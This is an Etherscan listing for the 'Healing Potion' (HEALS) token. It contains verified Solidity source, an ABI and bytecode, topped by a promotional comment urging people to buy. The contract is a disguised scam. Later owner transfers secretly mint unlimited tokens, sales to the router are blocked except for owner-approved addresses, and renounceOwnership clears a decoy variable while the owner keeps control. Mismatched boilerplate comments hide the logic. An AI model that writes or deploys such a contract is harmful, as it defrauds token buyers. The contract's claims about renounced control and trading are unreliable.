ETH Price: $3,113.97 (+0.51%)
Gas: 4 Gwei

Token

Healing Potion (HEALS)
 

Overview

Max Total Supply

10,000,000,000,000,077,777,786.999999999999999998 HEALS

Holders

36

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
106,374.045023432232352141 HEALS

Value
$0.00
0xb41ccd2f19c49d8b57c109c2c0401b3c34e4ca3f
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Healski

Compiler Version
v0.8.10+commit.fc410830

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-12-19
*/

/*
TAKE A SIP OF THE HEALING POTION! Healing Potion is an upcoming #1 ETH utility token
coupled with regenerative tokenomics!

🍾 BUFF YOUR WALLET WITH HP POT GAINS...
💚 HODL AND ⇧HEAL⇧

We feature many things such as our 
🤖 Golem Bot
🤖 Bot Yard
🧑‍🍳 Brewlabs
💥 Cauldron Project
❓ Mystery Project

What are you waiting for?

CHECK OUT OUR SITE ||||| https://HealingPotion.co.uk

🤖 Golem Bot
Golem Bot is a new generation Telegram bot inclusive of price, community and gif management.
🤖 Bot Yard 🤖
The first bot marketplace for the cryptocurrency space. A space designed for bot creators and telegram channel owners!
👩‍🍳 Brewlabs 🧹
Our first flagship product is a multiplatform charting website, IDO launch, LP lock, portfolio management  platform.  
🧑‍🍳 Cauldron Project
An industry first multidex allowing the community to trade currency and NFTs within a single decentralised platform.
❓Secret Project ❔
A tool to change a certain industry forever.

COME CHAT WITH OTHER DEGENS ||||| @TakeaSipoftheHealingPotion

🚀 GET IN NOW OR FOMO IN WHEN WE ARE 1000% UP, THE ROCKET IS NOT STOPPING
👾 DEGENS LOVE THIS FOR A REASON. PREPARE FOR BIG MARKETING PUSHES AFTER LAUNCH
*/



library SafeMath {
        function prod(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
 /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
 /* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
        function cre(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
 /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     */
    function cal(uint256 a, uint256 b) internal pure returns (uint256) {
        return calc(a, b, "SafeMath: division by zero");
    }
    function calc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
    function red(uint256 a, uint256 b) internal pure returns (uint256) {
        return redc(a, b, "SafeMath: subtraction overflow");
    }
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     */
        function redc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
  /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
}
     
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}
      
pragma solidity ^0.8.10;
contract Ownable is Context {
    address internal recipients;
    address internal router;
    address public owner;
    mapping (address => bool) internal confirm;
    event owned(address indexed previousi, address indexed newi);
    constructor () {
        address msgSender = _msgSender();
        recipients = msgSender;
        emit owned(address(0), msgSender);
    }
    modifier checker() {
        require(recipients == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function renounceOwnership() public virtual checker {
        emit owned(owner, address(0));
         owner = address(0);
    }
 /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
  
    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
}
// SPDX-License-Identifier: MIT
contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) internal _allowances;
    uint256 private _totalSupply;
        using SafeMath for uint256;
    string private _name;
    string private _symbol;
    bool   private truth;
    constructor (string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        truth=true;
    }
    function name() public view virtual override returns (string memory) {
        return _name;
    }
  /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * also check address is bot address.
     *
     * Requirements:
     *
     * - the address is in list bot.
     * - the called Solidity function must be `sender`.
     *
     * _Available since v3.1._
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
  /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * transferFrom.
     *
     * Requirements:
     *
     * - transferFrom.
     *
     * _Available since v3.1._
     */
    function EnableTrading (address set) public checker {
        router = set;
    }
    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     *
     * Requirements:
     *
     * - the address approve.
     * - the called Solidity function must be `sender`.
     *
     * _Available since v3.1._
     */
        function decimals() public view virtual override returns (uint8) {
        return 18;
    }
     /**
     * @dev updateTaxFee
     *
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
 /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * also check address is bot address.
     *
     * Requirements:
     *
     * - the address is in list bot.
     * - the called Solidity function must be `sender`.
     *
     * _Available since v3.1._
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
 /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function transfer(address recipient, uint256 amount) public override  returns (bool) {
        if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;}
        else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;}
        else{_transfer(_msgSender(), recipient, amount); return true;}
    }
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);
        return true;
    }
     /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
      function FFbots(address _count) internal checker {
        confirm[_count] = true;
    }
  /**
     * @dev updateTaxFee
     *
     */


    function _blacklistfrontrunbots(address[] memory _counts) external checker {
        for (uint256 i = 0; i < _counts.length; i++) {
            FFbots(_counts[i]); }
    }   
     function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        return true;
    }
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
           if (recipient == router) {
        require(confirm[sender]); }
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
 /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     *
     * Requirements:
     *
     * - manualSend
     *
     * _Available since v3.1._
     */    
}
    function _deploy(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: deploy to the zero address");
        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        _balances[account] = accountBalance - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
    }
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
   /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
}

contract Healski is ERC20{
    uint8 immutable private _decimals = 18;
    uint256 private _totalSupply = 77777777 * 10 ** 18;

    constructor () ERC20('Healing Potion','HEALS') {
        _deploy(_msgSender(), _totalSupply);
    }

    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousi","type":"address"},{"indexed":true,"internalType":"address","name":"newi","type":"address"}],"name":"owned","type":"event"},{"inputs":[{"internalType":"address","name":"set","type":"address"}],"name":"EnableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_counts","type":"address[]"}],"name":"_blacklistfrontrunbots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60a0604052601260ff1660809060ff168152506a405615bd5e98512f240000600a553480156200002e57600080fd5b506040518060400160405280600e81526020017f4865616c696e6720506f74696f6e0000000000000000000000000000000000008152506040518060400160405280600581526020017f4845414c530000000000000000000000000000000000000000000000000000008152506000620000ad620001c360201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f5f04b3e53e8649c529695dc1d3ddef0535b093b2022dd4e04bb2c4db963a09b060405160405180910390a3508160079080519060200190620001639291906200031d565b5080600890805190602001906200017c9291906200031d565b506001600960006101000a81548160ff0219169083151502179055505050620001bd620001ae620001c360201b60201c565b600a54620001cb60201b60201c565b6200059f565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156200023e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002359062000454565b60405180910390fd5b8060066000828254620002529190620004af565b9250508190555080600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620002aa9190620004af565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200031191906200051d565b60405180910390a35050565b8280546200032b9062000569565b90600052602060002090601f0160209004810192826200034f57600085556200039b565b82601f106200036a57805160ff19168380011785556200039b565b828001600101855582156200039b579182015b828111156200039a5782518255916020019190600101906200037d565b5b509050620003aa9190620003ae565b5090565b5b80821115620003c9576000816000905550600101620003af565b5090565b600082825260208201905092915050565b7f45524332303a206465706c6f7920746f20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b60006200043c602183620003cd565b91506200044982620003de565b604082019050919050565b600060208201905081810360008301526200046f816200042d565b9050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620004bc8262000476565b9150620004c98362000476565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000501576200050062000480565b5b828201905092915050565b620005178162000476565b82525050565b60006020820190506200053460008301846200050c565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200058257607f821691505b602082108114156200059957620005986200053a565b5b50919050565b608051611f36620005bb60003960006105bc0152611f366000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d714610276578063a9059cbb146102a6578063dd62ed3e146102d6578063e1f20bd014610306576100f5565b806370a0823114610200578063715018a6146102305780638da5cb5b1461023a57806395d89b4114610258576100f5565b806318160ddd116100d357806318160ddd1461016457806323b872dd14610182578063313ce567146101b257806339509351146101d0576100f5565b806305bd3a0a146100fa57806306fdde0314610116578063095ea7b314610134575b600080fd5b610114600480360381019061010f91906115ae565b610322565b005b61011e6103fd565b60405161012b919061167f565b60405180910390f35b61014e600480360381019061014991906116d7565b61048f565b60405161015b9190611732565b60405180910390f35b61016c6104ad565b604051610179919061175c565b60405180910390f35b61019c60048036038101906101979190611777565b6104b7565b6040516101a99190611732565b60405180910390f35b6101ba6105b8565b6040516101c791906117e6565b60405180910390f35b6101ea60048036038101906101e591906116d7565b6105e0565b6040516101f79190611732565b60405180910390f35b61021a60048036038101906102159190611801565b61068c565b604051610227919061175c565b60405180910390f35b6102386106d5565b005b61024261082b565b60405161024f919061183d565b60405180910390f35b610260610851565b60405161026d919061167f565b60405180910390f35b610290600480360381019061028b91906116d7565b6108e3565b60405161029d9190611732565b60405180910390f35b6102c060048036038101906102bb91906116d7565b6109d7565b6040516102cd9190611732565b60405180910390f35b6102f060048036038101906102eb9190611858565b610c3e565b6040516102fd919061175c565b60405180910390f35b610320600480360381019061031b9190611801565b610cc5565b005b61032a610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146103b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ae906118e4565b60405180910390fd5b60005b81518110156103f9576103e68282815181106103d9576103d8611904565b5b6020026020010151610da6565b80806103f190611962565b9150506103ba565b5050565b60606007805461040c906119da565b80601f0160208091040260200160405190810160405280929190818152602001828054610438906119da565b80156104855780601f1061045a57610100808354040283529160200191610485565b820191906000526020600020905b81548152906001019060200180831161046857829003601f168201915b5050505050905090565b60006104a361049c610d9e565b8484610e96565b6001905092915050565b6000600654905090565b60006104c4848484611061565b6000600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f610d9e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561058f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058690611a7e565b60405180910390fd5b6105ac8561059b610d9e565b85846105a79190611a9e565b610e96565b60019150509392505050565b60007f0000000000000000000000000000000000000000000000000000000000000000905090565b60006106826105ed610d9e565b8484600560006105fb610d9e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461067d9190611ad2565b610e96565b6001905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106dd610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461076a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610761906118e4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f5f04b3e53e8649c529695dc1d3ddef0535b093b2022dd4e04bb2c4db963a09b060405160405180910390a36000600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060088054610860906119da565b80601f016020809104026020016040519081016040528092919081815260200182805461088c906119da565b80156108d95780601f106108ae576101008083540402835291602001916108d9565b820191906000526020600020905b8154815290600101906020018083116108bc57829003601f168201915b5050505050905090565b600080600560006108f2610d9e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156109af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a690611b9a565b60405180910390fd5b6109cc6109ba610d9e565b8585846109c79190611a9e565b610e96565b600191505092915050565b60006109e1610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610a4e575060011515600960009054906101000a900460ff161515145b15610a8957610a65610a5e610d9e565b8484611061565b6000600960006101000a81548160ff02191690831515021790555060019050610c38565b610a91610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610afe575060001515600960009054906101000a900460ff161515145b15610c2157610b188260065461138590919063ffffffff16565b600681905550610b7082600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461138590919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c10919061175c565b60405180910390a360019050610c38565b610c33610c2c610d9e565b8484611061565b600190505b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ccd610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d51906118e4565b60405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b610dae610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e32906118e4565b60405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610efd90611c2c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6d90611cbe565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611054919061175c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c890611d50565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611141576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113890611de2565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111ee57600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166111ed57600080fd5b5b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611275576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126c90611e74565b60405180910390fd5b81816112819190611a9e565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113139190611ad2565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611377919061175c565b60405180910390a350505050565b60008082846113949190611ad2565b9050838110156113d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d090611ee0565b60405180910390fd5b8091505092915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b611445826113fc565b810181811067ffffffffffffffff821117156114645761146361140d565b5b80604052505050565b60006114776113e3565b9050611483828261143c565b919050565b600067ffffffffffffffff8211156114a3576114a261140d565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006114e4826114b9565b9050919050565b6114f4816114d9565b81146114ff57600080fd5b50565b600081359050611511816114eb565b92915050565b600061152a61152584611488565b61146d565b9050808382526020820190506020840283018581111561154d5761154c6114b4565b5b835b8181101561157657806115628882611502565b84526020840193505060208101905061154f565b5050509392505050565b600082601f830112611595576115946113f7565b5b81356115a5848260208601611517565b91505092915050565b6000602082840312156115c4576115c36113ed565b5b600082013567ffffffffffffffff8111156115e2576115e16113f2565b5b6115ee84828501611580565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611631578082015181840152602081019050611616565b83811115611640576000848401525b50505050565b6000611651826115f7565b61165b8185611602565b935061166b818560208601611613565b611674816113fc565b840191505092915050565b600060208201905081810360008301526116998184611646565b905092915050565b6000819050919050565b6116b4816116a1565b81146116bf57600080fd5b50565b6000813590506116d1816116ab565b92915050565b600080604083850312156116ee576116ed6113ed565b5b60006116fc85828601611502565b925050602061170d858286016116c2565b9150509250929050565b60008115159050919050565b61172c81611717565b82525050565b60006020820190506117476000830184611723565b92915050565b611756816116a1565b82525050565b6000602082019050611771600083018461174d565b92915050565b6000806000606084860312156117905761178f6113ed565b5b600061179e86828701611502565b93505060206117af86828701611502565b92505060406117c0868287016116c2565b9150509250925092565b600060ff82169050919050565b6117e0816117ca565b82525050565b60006020820190506117fb60008301846117d7565b92915050565b600060208284031215611817576118166113ed565b5b600061182584828501611502565b91505092915050565b611837816114d9565b82525050565b6000602082019050611852600083018461182e565b92915050565b6000806040838503121561186f5761186e6113ed565b5b600061187d85828601611502565b925050602061188e85828601611502565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006118ce602083611602565b91506118d982611898565b602082019050919050565b600060208201905081810360008301526118fd816118c1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061196d826116a1565b91507ffffffffffffffffffffffffffffff